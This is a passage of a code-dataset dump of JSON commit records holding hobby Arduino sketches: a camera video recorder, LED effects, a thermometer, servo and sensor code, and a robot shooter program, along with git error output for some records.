finish.\"));\n total_time = millis() - total_time;\n } else {\n Serial.println(F(\"Record video finish\"));\n total_time = millis() - total_time;\n }\n Serial.print(F(\"The fifo length is :\"));\n Serial.println(length, DEC);\n Serial.println(\"Writing the video data to the SD card...\");\n if (length >= MAX_FIFO_SIZE) \/\/8M\n {\n Serial.println(F(\"Over size.\"));\n return 0 ;\n }\n if (length == 0 ) \/\/0 kb\n {\n Serial.println(F(\"Size is 0.\"));\n return 0;\n }\n movi_size = 0;\n \/\/Create a avi file\n k = k + 1;\n itoa(k, str, 10);\n strcat(str, \".avi\");\n \/\/Open the new file\n outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC);\n if (! outFile)\n {\n Serial.println(F(\"File open failed\"));\n while (1);\n }\n \/\/Write AVI Header\n for ( i = 0; i < AVIOFFSET; i++)\n {\n char ch = pgm_read_byte(&avi_header[i]);\n buf[i] = ch;\n }\n outFile.write(buf, AVIOFFSET);\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\/\/Set fifo burst mode\n i = 0;\n while ( length-- )\n {\n#if defined (ESP8266)\n yield();\n#endif\n temp_last = temp;\n temp = SPI.transfer(0x00);\n \/\/Read JPEG data from FIFO\n if ( (temp == 0xD9) && (temp_last == 0xFF) ) \/\/If find the end ,break while,\n {\n buf[i++] = temp; \/\/save the last 0XD9\n \/\/Write the remain bytes in the buffer\n myCAM.CS_HIGH();\n outFile.write(buf, i);\n jpeg_size += i;\n remnant = (4 - (jpeg_size & 0x00000003)) & 0x00000003;\n jpeg_size = jpeg_size + remnant;\n movi_size = movi_size + jpeg_size;\n if (remnant > 0)\n outFile.write(zero_buf, remnant);\n position = outFile.position();\n outFile.seek(position - 4 - jpeg_size);\n print_quartet(jpeg_size, outFile);\n position = outFile.position();\n outFile.seek(position + 6);\n outFile.write(\"AVI1\", 4);\n position = outFile.position();\n outFile.seek(position + jpeg_size - 10);\n is_header = false;\n frame_cnt++;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n }\n if (is_header == true)\n {\n \/\/Write image data to buffer if not full\n if (i < 256)\n buf[i++] = temp;\n else\n {\n \/\/Write 256 bytes image data to file\n myCAM.CS_HIGH();\n outFile.write(buf, 256);\n i = 0;\n buf[i++] = temp;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n jpeg_size += 256;\n }\n }\n else if ((temp == 0xD8) && (temp_last == 0xFF))\n {\n is_header = true;\n myCAM.CS_HIGH();\n outFile.write(\"00dc\");\n outFile.write(zero_buf, 4);\n i = 0;\n jpeg_size = 0;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n buf[i++] = temp_last;\n buf[i++] = temp;\n }\n }\n myCAM.CS_HIGH();\n \/\/Modify the MJPEG header from the beginning of the file\n outFile.seek(4);\n print_quartet(movi_size + 12 * frame_cnt + 4, outFile); \/\/riff file size\n \/\/overwrite hdrl\n unsigned long us_per_frame = 1000000 \/ rate; \/\/(per_usec); \/\/hdrl.avih.us_per_frame\n outFile.seek(0x20);\n print_quartet(us_per_frame, outFile);\n unsigned long max_bytes_per_sec = movi_size * rate \/ frame_cnt; \/\/hdrl.avih.max_bytes_per_sec\n outFile.seek(0x24);\n print_quartet(max_bytes_per_sec, outFile);\n unsigned long tot_frames = frame_cnt; \/\/hdrl.avih.tot_frames\n outFile.seek(0x30);\n print_quartet(tot_frames, outFile);\n unsigned long frames = frame_cnt; \/\/ (TOTALFRAMES); \/\/hdrl.strl.list_odml.frames\n outFile.seek(0xe0);\n print_quartet(frames, outFile);\n outFile.seek(0xe8);\n print_quartet(movi_size, outFile);\/\/ size again\n \/\/Close the file\n outFile.close();\n is_header = false;\n Serial.println(F(\"Movie save OK.\"));\n myCAM.set_format(BMP);\n myCAM.InitCAM();\n return 1;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduCAM\/examples\/Shield_V2\/ArduCAM_Shield_V2_Digital_Camera_2560\/ArduCAM_Shield_V2_Digital_Camera_2560.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"937c9d183e4f38311aa2993aa612630d838e2128","subject":"POC LDR","message":"POC LDR\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"Arduino\/pocs\/ldr-relay\/ldr-relay.ino","new_file":"Arduino\/pocs\/ldr-relay\/ldr-relay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f31ab19dff34159715c3e837eb98daf47c005956","subject":"add effects to chibitronics examples","message":"add effects to chibitronics examples\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"examples\/chibitronics\/effects\/effects.ino","new_file":"examples\/chibitronics\/effects\/effects.ino","new_contents":"\/\/ Love to Code\n\/\/ Easy Effects\n\n#include \"Arduino.h\"\n#include \"ChibiOS.h\"\n\nenum effects {\n NONE = 0,\n BLINK = 1,\n HEARTBEAT = 2,\n TWINKLE = 3,\n};\n\nstruct effects_thread_arg {\n uint8_t effect;\n uint8_t tempo;\n uint8_t pin;\n};\n\nstatic thread_t *light_threads[6];\nstatic effects_thread_arg port[6];\n\n\/\/\/\/\/\/ configuration \/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/ PICK YOUR EFFECT AND TEMPO HERE\n\/\/\/\/\/\/ choose one of NONE, BLINK, HEARTBEAT, TWINKLE\n\/\/\/\/\/\/ and a tempo (generally a higher number makes it go faster)\n\nvoid configure_effects() {\n port[0].effect = HEARTBEAT;\n port[1].effect = HEARTBEAT;\n port[2].effect = NONE;\n port[3].effect = TWINKLE;\n port[4].effect = TWINKLE;\n port[5].effect = BLINK;\n\n port[0].tempo = 1;\n port[1].tempo = 12;\n port[2].tempo = 0;\n port[3].tempo = 5;\n port[4].tempo = 2;\n port[5].tempo = 4;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ implementation below\n\/\/\/\/\/\/\/\/\/\/\/\/\/\n \nstatic int fade_to(int current, int target, int rate, int pin, int pause) {\n while( abs(current - target) > rate ) {\n analogWrite(pin, current);\n current = current + ((target - current) > 0 ? rate : - rate);\n delay(pause);\n }\n return current;\n}\n\nstatic void blink_effect(struct effects_thread_arg *cfg) {\n fade_to( 0, 255, cfg->tempo, cfg->pin, 7 );\n fade_to( 255, 0, cfg->tempo, cfg->pin, 7 );\n}\n\nstatic void twinkle_effect(struct effects_thread_arg *cfg) {\n int current = 128;\n while(1) {\n current = fade_to(current, random(0, 255), cfg->tempo, cfg->pin, 3);\n }\n}\n\nstatic void heartbeat_effect(struct effects_thread_arg *cfg) {\n int current = 0;\n if( cfg->tempo > 12 )\n cfg->tempo = 12;\n \n current = fade_to(current, 0xc0, 2, cfg->pin, 1);\n current = fade_to(current, 0x4, 2, cfg->pin, 1);\n delay(80); \/\/ fastest rate\n delay( (13 - cfg->tempo) * 15 );\n \/\/delay(180);\n current = fade_to(current, 0xff, 2, cfg->pin, 1);\n current = fade_to(current, 0x00, 2, cfg->pin, 1);\n delay(214); \/\/ fastest rate\n delay( (13 - cfg->tempo) * 37 );\n \/\/delay(420);\n}\n\nstatic void effects_thread(void *arg) {\n struct effects_thread_arg *cfg = (struct effects_thread_arg *)arg;\n while (1) {\n switch (cfg->effect) {\n case NONE: exitThread(0); return;\n case BLINK: blink_effect(cfg); break;\n case HEARTBEAT: heartbeat_effect(cfg); break;\n case TWINKLE: twinkle_effect(cfg); break;\n default: exitThread(0); return;\n }\n }\n}\n\nstatic thread_t *createThreadFromHeap(size_t size, tprio_t prio,\n tfunc_t pf, void *arg) {\n thread_t *thr = (thread_t *)malloc(THD_WORKING_AREA_SIZE(size));\n createThread((void *)thr, THD_WORKING_AREA_SIZE(size), prio, pf, arg);\n\n \/* Mark thr->p_flags as CH_FLAG_MODE_HEAP, so ChibiOS will call free()\n * on the memory after it exits.\n *\/\n ((uint8_t *)thr)[0x1d] = 1;\n return thr;\n}\n\nvoid setup(void) {\n int i;\n \n configure_effects();\n\n for (i = 0; i < 6; i++) {\n port[i].pin = i;\n pinMode(port[i].pin, OUTPUT);\n digitalWrite(port[i].pin, LOW);\n if (port[i].effect == NONE)\n continue;\n light_threads[i] = createThreadFromHeap(64,\n 20,\n effects_thread,\n &port[i]);\n }\n}\n\nvoid loop(void) {\n exitThread(0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/chibitronics\/effects\/effects.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bf81b2e6726381642fc5ff4520c31066627d1b83","subject":"Digital thermometer","message":"Digital thermometer\n","repos":"sdvornikov\/avr-stuff,sdvornikov\/avr-stuff,sdvornikov\/avr-stuff","old_file":"Digital_thermo_LCD\/Digital_thermo_LCD.ino","new_file":"Digital_thermo_LCD\/Digital_thermo_LCD.ino","new_contents":"#include <OneWire.h>\n#include <LiquidCrystal.h>\n\nOneWire ds(6); \/\/ on pin 10 (a 4.7K resistor is necessary)\nLiquidCrystal lcd(7, 8, 9, 10, 11, 12);\n\n\nstruct DsROM {\n byte ROMCode[8];\n};\n\nstruct DsScratchpad {\n float temperature;\n byte highT;\n byte lowT;\n byte conf;\n};\n\nint activeSensors = 0;\nstruct DsROM SensorROMCode[10]; \/\/ limited to 10 sensors\n\nchar *ftostr(float inValue,int precision) {\n char *buffer = (char*)malloc(10);\n dtostrf(inValue,4+precision,precision,buffer);\n return buffer;\n}\n\nvoid discoverSensors() \n{\n byte addrbuffer[8];\n int sensorCount = 0;\n while(ds.search(addrbuffer)) {\n\n if (OneWire::crc8(addrbuffer, 7) != addrbuffer[7]) {\n Serial.println(\"CRC is not valid!\");\n continue;\n }\n\n for(int i=0;i<8;i++) {\n SensorROMCode[sensorCount].ROMCode[i] = addrbuffer[i];\n }\n activeSensors++;\n sensorCount++;\n }\n}\n\nvoid writeScratchpad(struct DsROM addr, int highT, int lowT, byte cfg) {\n if (!ds.reset()) return;\n ds.select(addr.ROMCode);\n ds.write(0x4E);\n ds.write((byte)(highT & 0xFF));\n ds.write((byte)(lowT & 0xFF));\n ds.write(cfg);\n}\n\nvoid copyScratchpad(struct DsROM addr) \n{\n if (!ds.reset()) return;\n ds.select(addr.ROMCode);\n ds.write(0x48, 1);\n delay(25);\n ds.depower(); \n}\n\n\nvoid convertT(struct DsROM addr) \n{\n if (!ds.reset()) return;\n ds.select(addr.ROMCode);\n ds.write(0x44, 1);\n delay(800);\n ds.depower(); \n}\n\nboolean readScratchpad(struct DsROM addr, struct DsScratchpad &outMemory) {\n byte databuffer[9];\n\n if (!ds.reset()) return false;\n ds.select(addr.ROMCode); \n ds.write(0xBE); \/\/ Read Scratchpad\n\n for (int i = 0; i < 9; i++) { \/\/ we need 9 bytes\n databuffer[i] = ds.read();\n }\n if (OneWire::crc8(databuffer, 8) != databuffer[8]) {\n Serial.println(\"CRC is not valid!\");\n return false;\n }\n\n\n \/\/ Convert the data to actual temperature\n \/\/ because the result is a 16 bit signed integer, it should\n \/\/ be stored to an \"int16_t\" type, which is always 16 bits\n \/\/ even when compiled on a 32 bit processor.\n int16_t raw = (databuffer[1] << 8) | databuffer[0];\n\n byte cfg = (databuffer[4] & 0x60);\n \/\/ at lower res, the low bits are undefined, so let's zero them\n if (cfg == 0x00) raw = raw & ~7; \/\/ 9 bit resolution, 93.75 ms\n else if (cfg == 0x20) raw = raw & ~3; \/\/ 10 bit res, 187.5 ms\n else if (cfg == 0x40) raw = raw & ~1; \/\/ 11 bit res, 375 ms\n \/\/\/\/ default is 12 bit resolution, 750 ms conversion time\n\n outMemory.temperature=(float)raw \/ 16.0;\n outMemory.conf=databuffer[4];\n outMemory.highT=databuffer[2];\n outMemory.lowT=databuffer[3];\n return true; \n}\n\n\nvoid setup(void) {\n lcd.begin(16, 2);\n Serial.begin(9600);\n Serial.print(\"ready...\");\n delay(5000);\n Serial.println(\"GO!\");\n discoverSensors();\n}\n\nvoid loop(void) {\n\n for(int i=0;i<activeSensors;i++) {\n convertT(SensorROMCode[i]);\n\n struct DsScratchpad memory;\n if(!readScratchpad(SensorROMCode[i], memory)) {\n Serial.println(\"Error reading memory\");\n continue;\n }\n Serial.print(\"T = \");\n Serial.print(ftostr(memory.temperature,5));\n Serial.print(\" config = \");\n Serial.print(memory.conf & 0x60, BIN);\n Serial.print(\" High = \");\n Serial.print((char)memory.highT,DEC);\n Serial.print(\" Low = \");\n Serial.print((char)memory.lowT,DEC);\n Serial.println();\n \n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"Temperature: \");\n lcd.setCursor(0, 1);\n lcd.print(ftostr(memory.temperature,1));\n }\n delay(5000);\n runOnce();\n}\n\nvoid runOnce() {\n static boolean shouldRun = false;\n if (!shouldRun) return;\n int lowT = -1;\n int highT = 26;\n byte cfg = 0x60;\n writeScratchpad(SensorROMCode[0], highT , lowT , cfg);\n struct DsScratchpad memory;\n if(!readScratchpad(SensorROMCode[0], memory)) {\n Serial.println(\"runOnce: Error reading memory\");\n return;\n }\n \n if(memory.lowT != (lowT & 0xFF) || memory.highT != (highT & 0xFF) || (memory.conf & 0x60) != cfg) {\n Serial.println(\"runOnce: Scratchpad do not contain intended values\");\n return;\n }\n copyScratchpad(SensorROMCode[0]);\n Serial.println(\"runOnce completed\");\n shouldRun=false;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Digital_thermo_LCD\/Digital_thermo_LCD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"04eb84191d4783e659d3e55d98a2fee93d2df91e","subject":"rotation good","message":"rotation good\n","repos":"richerarc\/conuhacks2016","old_file":"rotation\/sketch_jan23a.ino","new_file":"rotation\/sketch_jan23a.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/richerarc\/conuhacks2016.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1f0622234df60b9a9c2c21fa8ed5b7e52f64225e","subject":"more max derp","message":"more max derp\n","repos":"bobbyluig\/Eclipse,bobbyluig\/Eclipse,bobbyluig\/Eclipse,bobbyluig\/Eclipse,bobbyluig\/Eclipse,bobbyluig\/Eclipse","old_file":"redboard\/kine\/kine.ino","new_file":"redboard\/kine\/kine.ino","new_contents":"\/* Sweep\n by BARRAGAN <http:\/\/barraganstudio.com>\n This example code is in the public domain.\n\n modified 8 Nov 2013\n by Scott Fitzgerald\n http:\/\/www.arduino.cc\/en\/Tutorial\/Sweep\n*\/\n\n#include <Servo.h>\n\nServo s1; \/\/ create servo object to control a servo\nServo s2;\nServo s3;\n\n\/\/ twelve servo objects can be created on most boards\nfloat a0 = 180 - 40.0;\nfloat b0 = 18.0;\nfloat c0 = 140.0;\n\nfloat t1 = 0;\nfloat t2 = 0;\nfloat t3 = 0;\n\nvoid setup() {\n s1.attach(2);\n s2.attach(3);\n s3.attach(4);\n\n Serial.begin(9600);\n}\n\nvoid loop() {\n if (Serial.available() > 12) {\n byte buf1[4];\n byte buf2[4];\n byte buf3[4];\n Serial.readBytes(buf1, 4);\n Serial.readBytes(buf2, 4);\n Serial.readBytes(buf3, 4);\n\n t1 = *(float*) &buf1;\n t2 = *(float*) &buf2;\n t3 = *(float*) &buf3;\n }\n \n s1.write(a0 + t1 * -1);\n s2.write(b0 + t2);\n s3.write(c0 + t3 * -1);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'redboard\/kine\/kine.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c78ddd89c70faf41c4090f59780ec599c815bdb","subject":"Create moving_gradient_example.ino","message":"Create moving_gradient_example.ino","repos":"marmilicious\/FastLED_examples","old_file":"moving_gradient_example.ino","new_file":"moving_gradient_example.ino","new_contents":"\/\/***************************************************************\n\/\/ Moving gradient example\n\/\/ It will wrap around, and the direction can be reversed.\n\/\/ This is done a bit different then you might expect as I'm\n\/\/ filling the gradient once in setup() and saving the colors\n\/\/ in a seperate CRGB array. Then coping those into the main\n\/\/ leds array as needed when moving it around.\n\/\/\n\/\/ Marc Miller, Jan 2016\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\n#define BRIGHTNESS 255\nCRGB leds[NUM_LEDS];\n\n\/\/ User variables\nCHSV gradStartColor(0,255,255); \/\/ Gradient start color.\nCHSV gradEndColor(161,255,255); \/\/ Gradient end color.\nuint8_t gradStartPos = 0; \/\/ Starting position of the gradient.\n#define gradLength 8 \/\/ How many pixels (in total) is the grad from start to end.\nint8_t gradDelta = 1; \/\/ 1 or -1. (Negative value reverses direction.)\n\n\/\/ If you wanted to move your gradient 32 pixels in 120 seconds, then:\n\/\/ 120sec \/ 32pixel = 3.75sec\n\/\/ 3.75sec x 1000miliseconds\/sec = 3750milliseconds\n#define gradMoveDelay 3750 \/\/ How fast to move the gradient (in Milliseconds)\n\nCRGB grad[gradLength]; \/\/ A place to save the gradient colors. (Don't edit this)\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check your baud rate)\n delay(3000); \/\/ Startup delay\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLOCK_PIN,COLOR_ORDER>(leds, NUM_LEDS); \/\/ ***For strips using Clock.\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN>(leds, NUM_LEDS); \/\/ ***For Clock-less strips.\n FastLED.setBrightness(BRIGHTNESS);\n\n \/\/fill the array that stores the gradient colors.\n fill_gradient(grad, gradStartPos, gradStartColor, gradStartPos+gradLength-1, gradEndColor, SHORTEST_HUES);\n\n} \/\/end setup\n\n\n\/\/---------------------------------------------------------------\nvoid loop() { \/\/START MAIN LOOP\n EVERY_N_MILLISECONDS(gradMoveDelay) {\n uint8_t count = 0;\n for (uint8_t i = gradStartPos; i < gradStartPos+gradLength; i++) {\n leds[i % NUM_LEDS] = grad[count];\n count++;\n }\n FastLED.show(); \/\/ Display the pixels.\n FastLED.clear(); \/\/ Clear the strip to not leave behind lit pixels as grad moves.\n \n gradStartPos = gradStartPos + gradDelta; \/\/ Update start position.\n if ( (gradStartPos > NUM_LEDS-1) || (gradStartPos < 0) ) { \/\/ Check if outside NUM_LEDS range\n gradStartPos = gradStartPos % NUM_LEDS; \/\/ Loop around as needed.\n }\n\n } \/\/end EVERY_N gradMoveDelay\n \n} \/\/END MAIN LOOP\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'moving_gradient_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"824e2d294feb2df336825eb16343b1fc2212b4f5","subject":"New quick-sampling module for calibration purpose.","message":"New quick-sampling module for calibration purpose.\n","repos":"betabandido\/moisturereader,betabandido\/moisturereader","old_file":"arduino\/quick-sampling\/quick-sampling.ino","new_file":"arduino\/quick-sampling\/quick-sampling.ino","new_contents":"#define WARMUP_TIME 10 * 1000UL\n#define NUM_SAMPLES 30\n#define DELAY_BETWEEN_SAMPLES 1000\n\nconst int sensor_pin = A0;\nconst int enable_sensor_pin = 7;\n\n\/** Setup method. *\/\nvoid setup() {\n Serial.begin(115200);\n pinMode(enable_sensor_pin, OUTPUT);\n}\n\n\/** Reads samples from the sensor. *\/\nvoid read_samples() {\n unsigned long accum = 0;\n for (int i = 0; i < NUM_SAMPLES; i++) {\n auto sample = analogRead(sensor_pin);\n Serial.print(F(\"Sensor value: \"));\n Serial.println(sample);\n accum += sample;\n delay(DELAY_BETWEEN_SAMPLES);\n }\n\n auto mean = static_cast<float>(accum) \/ NUM_SAMPLES;\n Serial.print(F(\"Mean: \"));\n Serial.println(mean);\n}\n\n\/** Loop method. *\/\nvoid loop() {\n Serial.println(F(\"-- Enabling sensor and waiting for warm-up --\"));\n digitalWrite(enable_sensor_pin, HIGH);\n delay(WARMUP_TIME);\n \n read_samples(); \n\n Serial.println(F(\"-- Disabling sensor --\"));\n digitalWrite(enable_sensor_pin, LOW);\n\n Serial.println(F(\"Halting\"));\n while (true);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/quick-sampling\/quick-sampling.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"05ba4478125fec8966f64fc3e6e6b74885e22864","subject":"Credentials","message":"Credentials\n\nAdded proper credentials for CC3000","repos":"TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT","old_file":"AfricasTalkingCloud\/Package\/AfricasTalkingCloud\/examples\/CC300\/CC3000Publish\/CC3000Publish.ino","new_file":"AfricasTalkingCloud\/Package\/AfricasTalkingCloud\/examples\/CC300\/CC3000Publish\/CC3000Publish.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/AfricasTalkingIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2dbae37d2458004694c97feebfabd2d336800eb3","subject":"added sketch for OLED 128x64 via i2c","message":"added sketch for OLED 128x64 via i2c\n","repos":"fisher\/sketchbook,fisher\/sketchbook","old_file":"using_OLED_128x64_i2c\/using_OLED_128x64_i2c.ino","new_file":"using_OLED_128x64_i2c\/using_OLED_128x64_i2c.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fisher\/sketchbook.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"46cd44b21e01aa8a9ae0e1d415fe00657a6f1c55","subject":"Automatic external lighting rev1.1","message":"Automatic external lighting rev1.1\n\nAdded interrupt and override functoins\n","repos":"rpihomeautomation\/rpihomeautomation,rpihomeautomation\/rpihomeautomation","old_file":"automatic_external_lighting_rev1.1\/automatic_external_lighting_rev1.1.ino","new_file":"automatic_external_lighting_rev1.1\/automatic_external_lighting_rev1.1.ino","new_contents":"\/*\nAutomatic External Lighting\n========= ======== ========\nrev v.1\n#turns on an external light when the amount of light falls below a preset value\n#ldr is connected to the A0 pin and led is connected to pin 9\n#sends info about the change of state of led serially for monitoring\n*\/\n\n\/\/el-external lighting\n\n#define elinput A0\n#define eloutput 9\n#define treshold 500\n#define elinterrupt A1\n#define eloverride A2\n\nint elsensor,elstate;\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(eloutput,OUTPUT);\n pinMode(elinterrupt,INPUT);\n pinMode(eloverride,INPUT);\n elstate=0;\n}\n\nvoid loop()\n{\n elsensor=analogRead(elinput);\n if((elsensor>treshold) && (elstate==0))\n { digitalWrite(eloutput,HIGH);\n Serial.println(\"External light is ON\");\n elstate=1;\n }\n else if((elsensor<treshold) && (elstate==1))\n { digitalWrite(eloutput,LOW);\n Serial.println(\"External light is OFF\");\n elstate=0;\n }\n while(digitalRead(elinterrupt)) \/\/interrupt function\n digitalWrite(eloutput,digitalRead(eloverride));\n Serial.println(\"External light is ON-Override\");\n \n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'automatic_external_lighting_rev1.1\/automatic_external_lighting_rev1.1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f3131e5a6cdda17a2b1a11c70bb2654d598cdb28","subject":"Same program without button functionality","message":"Same program without button functionality\n\nThis might allow it to compile on Emily's laptop.\n","repos":"edunham\/engr421","old_file":"embedded\/Crossfire_Program_nobuttons\/Crossfire_Program_nobuttons.ino","new_file":"embedded\/Crossfire_Program_nobuttons\/Crossfire_Program_nobuttons.ino","new_contents":"\/\/ENGR 421 Team 4\n\/\/2013\n\n\/\/Written by Dean Reading\n\n\n\n\/*******************************************************************************************\/\n\/\/ Changelog\n\/*******************************************************************************************\n * Version control can now be handled by GitHub...\n *\n * Version 0.2\n * Included a timeout when waiting for a character.\n * Added the sendMessage function to communicate with laptop.\n * Added in error messages for invalid command IDs, shooter numbers and angles.\n * Added in lower and upper limits to the angles that can be used. \n * \n * \n * Version 0.1\n * Includes command receiving and execution, with 'Aim' and 'Shoot' commands.\n * <angle> input is a byte that should range from 0 to 180, with 90 being pointing forward.\n * All DC motor pins are set up and PWM is created.\n * setShooterAngle, releaseBall and checkSolenoids functions are included.\n * 'GO' & 0x80 is sent to indicate game start.\n *\n * \n *\/\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Pre-Start\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\n\n\n\/\/ Pins\n\/*******************************************************************************************\/\n\/\/Motors\n#define pinMotor1 5\n#define pinMotor2 2\n#define pinMotor3 3\n\n#define pinServo1 46\n#define pinServo2 45\n#define pinServo3 44\n\n#define pinSolenoid1 4\n#define pinSolenoid2 6\n#define pinSolenoid3 7\n\n\/\/Interface Panel\n#define pinPot A0\n\n#define pinLEDY1 26\n#define pinLEDY2 24\n#define pinLEDY3 22\n\n#define pinLEDR 30\n#define pinLEDB 32\n#define pinLEDG 28\n\n#define pinButton1 20\n#define pinButton2 19\n#define pinButton3 18\n\n#define pinConfig1 17\n#define pinConfig2 21\n\n\/\/Arbiter\n#define pinArbiter 52\n\n\/\/ Programmable Parameters\n\/*******************************************************************************************\/\n#define DEBUG 1 \/\/Defining DEBUG turns ON debugging messages\n\n#define killMsgSend 0 \/\/Prevents the arduino from sending the functional messages to the laptop\n\n#define commsTimeout 200 \/\/The maximum time that a received serial command can take, in mS\n\n#define ballReleaseTime1 30 \/\/The time that the solenoid needs to be activated for to release a ball, in mS\n#define ballReleaseTime2 24\n#define ballReleaseTime3 22\n\n\/\/#define ballReleaseInt floor((ballReleaseTime1*125)\/8) \/\/The number of 64uS needed to get to ballReleaseTime\n\n\n#define angleLowest 65 \/\/The minimum allowable angle\n#define angleHighest 115 \/\/The maximum allowable angle\n\n#define motorLevel1 202 \/\/PWM levls for the motors\n#define motorLevel2 169\n#define motorLevel3 206\n\n#define offset1 -5 \/\/offset angles for each servo\n#define offset2 -11\n#define offset3 -9\n\n\/\/ Libraries & Objects\n\/*******************************************************************************************\/\n#include <Servo.h>\nServo servo1; \/\/Declare 3 instances of servo objects\nServo servo2;\nServo servo3;\n\n\/\/Function Prototypes\nvoid sendMessage (byte CMD,byte in1 = 255, byte in2 = 255, byte in3 = 255);\n\n\/\/ Constants\n\/*******************************************************************************************\/\nbyte commandLength[255]; \/\/The number of data bytes for each command type for serial comms\nconst byte solenoidPins[] = {\n 0,pinSolenoid1,pinSolenoid2,pinSolenoid3}; \/\/A map for the solenoid pins\nconst byte motorPins[] = {\n 0,pinMotor1,pinMotor2,pinMotor3}; \/\/A map for the solenoid pins\nconst byte ledPinsY[] = {\n 0,pinLEDY1,pinLEDY2,pinLEDY3}; \/\/A map for the yellow LEDs\nconst byte ledPins[] = {\n 0,pinLEDR,pinLEDB,pinLEDG}; \/\/A map for the R B and G LEDs\nconst byte buttonPins[] = {\n 0,pinButton1,pinButton2,pinButton3}; \/\/A map for the three momentary buttons\n\nconst byte OCIE4[] = {\n 0, OCIE4A, OCIE4B, OCIE4C}; \/\/A map for the locations of the output compare interrupt enable bit 